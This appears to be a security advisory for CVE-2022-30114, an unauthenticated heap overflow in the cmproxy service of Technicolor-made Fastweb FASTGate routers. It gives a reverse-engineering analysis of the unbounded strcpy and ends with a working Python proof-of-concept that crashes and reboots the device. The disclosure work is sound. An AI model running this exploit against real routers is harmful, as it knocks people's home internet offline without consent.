Introduction

CVE-2022-30114 is an unauthenticated heap-based buffer overflow that affects Fastweb FASTGate home routers, both GPON and VDSL2 versions.

Fastweb FASTgate Fastweb FASTgate

The vulnerability lies in the ‘cmproxy’ executable, a custom program used by Fastweb operators for remote management of the device, which handles HTTP requests through a Lighttpd FastCGI webserver listening on TCP port 8888. A specially crafted HTTP request allows a remote attacked to crash the executable and reboot the device, causing a Denial of Service.

Credits: Thanks to @FrancYesc0 for the firmware dumps!

CVSS v3.x

Base Score: 7.5 HIGH Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Affected devices

  • Technicolor MediaAccess FGA2130FWB (GPON) - Version 18.3.n.0482_FW_233_FGA2130 and below
  • Technicolor MediaAccess DGA4131FWB (VDSL2) - Version 18.3.n.0482_FW_264_DGA4131 and below

Vulnerabilty details

The devices are vulnerable to a heap-based buffer overflow, caused by the lack of validation of the length of the ‘Authorization’ HTTP header value on the web service exposed on TCP port 8888. The service is exposed on both the WAN and the LAN interfaces of the device1.

A remote, unauthenticated attacker, sending a string longer than 100 bytes in the ‘Authorization’ HTTP header, causes an overflow in a pre-allocated buffer in the ‘.bss’ memory section of an executable file called ‘cmproxy’ which handles HTTP requests sent on the mentioned service above via FastCGI protocol.

This allows to overwrite the heap memory, causing the process to become corrupted and crash on the first memory allocation. It’s worth noting that the C library version used (GNU C Library - glibc v2.24) contains protection measures to detect heap corruption but it is not excluded, however, that by deepening the analysis it would be possible to overwrite heap structures and achieve code execution.

Technical analysis

Starting from the usual port scan on the device, TCP port 8888 was found open, both on LAN and WAN side.

Open ports on LAN side NMAP scan on LAN side

A quick grep for ‘8888’ on the firmware filesystem (again, thanks @FrancYesc0 for extrated firmware!) revealed that the port was used by a Lightttpd web server instance. Below is the configuration file, found in /etc_tss/lighttpd/lighttpd.conf.

# lighttpd configuration file

server.modules = (
    "mod_fastcgi",
    "mod_access",
    "mod_auth"
)

# force use of the "write" backend (closes: #2401)
server.network-backend = "write"
server.document-root = "/www2/"
server.port = 8889
server.pid-file = "/var/run/lighttpd.pid"
server.errorlog-use-syslog = "enable"
server.bind = "127.0.0.1"

#### fastcgi module
fastcgi.server = (
    "/perftest" => (
        "cmproxy-local" => (
            "socket" => "/tmp/cmproxy-fastcgi-1.socket",
            "bin-path" => "/bin/cmproxy",
            "max-procs" => 4,
            "check-local" => "disable",
        )
    ),
    "/" => (
        "cmproxy-local" => (
            "socket" => "/tmp/cmproxy-fastcgi-2.socket",
            "bin-path" => "/bin/cmproxy",
            "max-procs" => 4,
            "check-local" => "disable",
        )
    )
)

$ SERVER ["socket"] == ":8888" {
    ssl.engine = "enable"
    ssl.pemfile = "/etc/nginx/server.crt"
}

The server is listening on TCP port 8888 with an HTTPS service ad it uses FastCGI to handle HTTP requests through a custom application in the path /bin/cmproxy (architecture is 32bit ARM).

Vulnerable executable file

Using Ghidra, the famous open-source reverse engineering tool by NSA, it was possible to reconstruct the executtion flow and to verify that there is a specific function that process all the input coming from the HTTP request. This function was deliberately renamed ‘parse_args’.

Reverse engineering - 'main' function

This function is used to:

  • retrieve all the data coming from the HTTP request from the environment variables (filled by the web server using FastCGI protocol);
  • parse the data and fill local and global data structures, which will be used by the program for further processing;
  • handle error cases.

In particular, the ‘Authorization’ HTTP header is passed in the ‘HTTP_AUTHORIZATION’ environment variable and its address is saved in the local variable http_authorization, a string pointer.

Reverse engineering - input data parsing

Further on in the code, the string value is copied, using C library function strcpy, to the address of the variable’auth_string’. This copy is done without any control on the length of the string itself

Reverse engineering - *strcpy*

This variable is an uninitialized global, thus in the ‘.bss’ section of the ELF file, and it points to a 100 bytes buffer at the address 0x0002434c.

Reverse engineering - Buffer in *.bss*

Therefore, sending a string value longer than 100 characters in the ‘Authorization’ HTTP header causes strcpy to smash the buffer in the ‘.bss’ and overwrite everything is saved after the address 0x00025000. That memory segment contains the heap, so the buffer overflow causes the corruption of the data structures of the dynamic memory allocation used by the C library.

The picture below shows an example of the execution of the cmproxy application in an emulated enviroment using QEMU. The FastCGI is simulated by filling directly environment variables. Authorization header is a string of 3780 bytes, way longer than the allocated buffer. As expected, the buffer overflow corrupts the heap data structures and when the next malloc is called the C library (GNU C Library - glibc v2.24) detects the memory corruption and terminates the execution as a safeguard.

Application crash

On the physical device, the application crash causes the reboot of the machine.

PoC exploit

Here is a quick-and-dirty exploit in Python code.

#!/usr/bin/env python3

# PoC for MediaAccess FGA2130FWB cmproxy buffer overflow

import sys
import requests

def exploit(target):
    url = 'https://{}:8888/check?cmd=xxx'.format(target)
    authorization = 'Basic ' + 'A' * 3780

    r = requests.get(url, headers = {'Authorization': authorization})

if __name__ == '__main__':

    if len(sys.argv) < 2:
        print('Not enough arguments\nUsage: %s <target>' %(sys.argv[0]))
        sys.exit()

    target = sys.argv[1]
    print('[*] Exploiting \'%s\'' % target)
    try:
        exploit(target)
    except Exception as e:
        print(e)
        sys.exit()

    print('[*] Exploit sent. \'%s\' should reboot', target)

  1. WAN access was disabled as a compensative control after the first disclosure to Fastweb. As of writing, the service is still exposed on the internal LAN